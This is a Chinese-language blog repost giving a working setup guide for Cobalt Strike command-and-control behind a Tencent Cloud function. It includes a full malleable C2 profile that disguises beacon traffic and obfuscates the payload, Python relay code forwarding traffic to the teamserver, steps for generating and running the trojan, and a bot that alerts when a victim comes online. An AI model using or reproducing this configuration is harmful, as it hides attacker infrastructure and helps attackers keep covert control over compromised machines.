Cobalt Strike云函数配置及上线提醒
2022-11-23 20:2:12 Author: 渗透安全团队(查看原文) 阅读量:26 收藏

免责声明

由于传播、利用本公众号李白你好所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号李白你好及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

01 云函数

云函数好处

  • • 可以隐藏teamserver的真实IP

  • • 可以一定程度上避免被ban掉IP造成权限丢失

CS云函数搭建

首先准备两份代码

1、 cs增加的配置文件:kris.profile

stage 部分为修复stageless不上线问题

set sample_name "kris_abao";
set sleeptime "3000";
set jitter    "0";
set maxdns    "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";
http-get {
set uri "/api/getit";
client {
        header "Accept" "*/*";
        metadata {
            base64;
            prepend "SESSIONID=";
            header "Cookie";
        }
    }
server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Server" "Nodejs";
        output {
            base64;
            print;
        }
    }
}
http-stager {  
set uri_x86 "/vue.min.js";
set uri_x64 "/bootstrap-2.min.js";
}
http-post {
set uri "/api/postit";
client {
        header "Accept" "*/*";
        id {
            base64;
            prepend "JSESSION=";
            header "Cookie";
        }
        output {
            base64;
            print;
        }
    }
server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Connection" "keep-alive";
        output {
            base64;
            print;
        }
    }
}

stage {
    set userwx         "false"
    set stomppe        "true";
    set obfuscate      "true";
    set name           "srv.dll";
    set cleanup        "true";
    set sleep_mask     "true";

    set checksum       "0";
        set compile_time   "11 Nov 2016 04:08:32";
        set entry_point    "650688";
        set image_size_x86 "4661248";
        set image_size_x64 "4661248";
        set rich_header    "\x3e\x98\xfe\x75\x7a\xf9\x90\x26\x7a\xf9\x90\x26\x7a\xf9\x90\x26\x73\x81\x03\x26\xfc\xf9\x90\x26\x17\xa4\x93\x27\x79\xf9\x90\x26\x7a\xf9\x91\x26\x83\xfd\x90\x26\x17\xa4\x91\x27\x65\xf9\x90\x26\x17\xa4\x95\x27\x77\xf9\x90\x26\x17\xa4\x94\x27\x6c\xf9\x90\x26\x17\xa4\x9e\x27\x56\xf8\x90\x26\x17\xa4\x6f\x26\x7b\xf9\x90\x26\x17\xa4\x92\x27\x7b\xf9\x90\x26\x52\x69\x63\x68\x7a\xf9\x90\x26\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";

        transform-x86 {
        prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        strrep "ReflectiveLoader" "execute"
        strrep "This program cannot be run in DOS mode" ""
        strrep "beacon.dll" ""
    }
    transform-x64 { 
        prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        strrep "ReflectiveLoader" "execute"
        strrep "beacon.x64.dll" "";
    }

    stringw "jQuery";
}

2、云函数代码:

# -*- coding: utf8 -*-
import json,requests,base64
def main_handler(event, context):
    C2='https://ip:port' # 这里可以使用 HTTP、HTTPS~下角标~
    path=event['path']
    headers=event['headers']
    print(event)
    if event['httpMethod'] == 'GET' :
        resp=requests.get(C2+path,headers=headers,verify=False)
    else:
        resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
        print(resp.headers)
        print(resp.content)
    response={
        "isBase64Encoded"True,
        "statusCode": resp.status_code,
        "headers"dict(resp.headers),
        "body"str(base64.b64encode(resp.content))[2:-1]
    }
    return response

腾讯云部分

访问链接,登录腾讯云后进入云函数:

https://console.cloud.tencent.com/scf/index?rid=1&ns=all

点击函数服务,点击新建:


从模版新建,选择API服务(否则需要自行安装requests库):

名称随便起,点击代码部分,将云函数代码粘贴进去,ip和端口改为自己teamserver服务器的公网ip和监听端口:

往下翻,找到触发器,选择自定义,按照下图选择:


点击完成后点击触发管理:


点击API服务名:


点击编辑:


修改路径为"/",点击立即完成:


注意这个访问地址,一会需要用到红框内部分(即域名部分):



02 环境变量Teamserver服务器部分

配置文件

将kris.profile置于CS服务端根目录

带配置文件启动teamserver:

./teamserver <ip> <password> ./kris.profile

监听器

登录CS后,新建监听器,根据云函数代码填的是https则payload也选择Beacon HTTPS,HTTPS Hosts及HTTPS host均填写云函数公网域名(上文中红框部分),端口与云函数代码中的一致:

生成木马,监听器选择刚刚创建的云函数监听:(天翼云无法使用80,443端口,需要建立两个监听器,一个监听器为云函数公网域名,443端口(或80),用来生成木马用,另一个监听为服务器ip,云函数代码中对应的端口,即真正回连的端口)

运行木马后成功上线,其中由于云函数的缘故,图中的external ip地址会一直变化:


CS配置云函数完成

03 CS上线提醒

插件使用的是

https://github.com/GitlXl/Cobalt_Strike_bot

此处以企业微信提醒为例

以windows为例

在CS_bot.py中填写企微机器人key,将不需要的提醒注释掉:


将CS_bot.cna中的路径改为CS_bot.py的绝对路径:


使用CS自带的agscript工具启动

agscript <host> <port> <user> <pass> </file/CS_bot.cna>


文末福利!!!

加免费星球获《GO黑帽子-渗透测试编程之道一书》


文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247494690&idx=2&sn=d2b18351edc5211ef8f9864254783432&chksm=c176118df601989b4701fb9bd2cf23f92d383f9f7dec1f3e91c1fde9166240a0730bc351bb7c#rd
如有侵权请联系:admin#unsafe.sh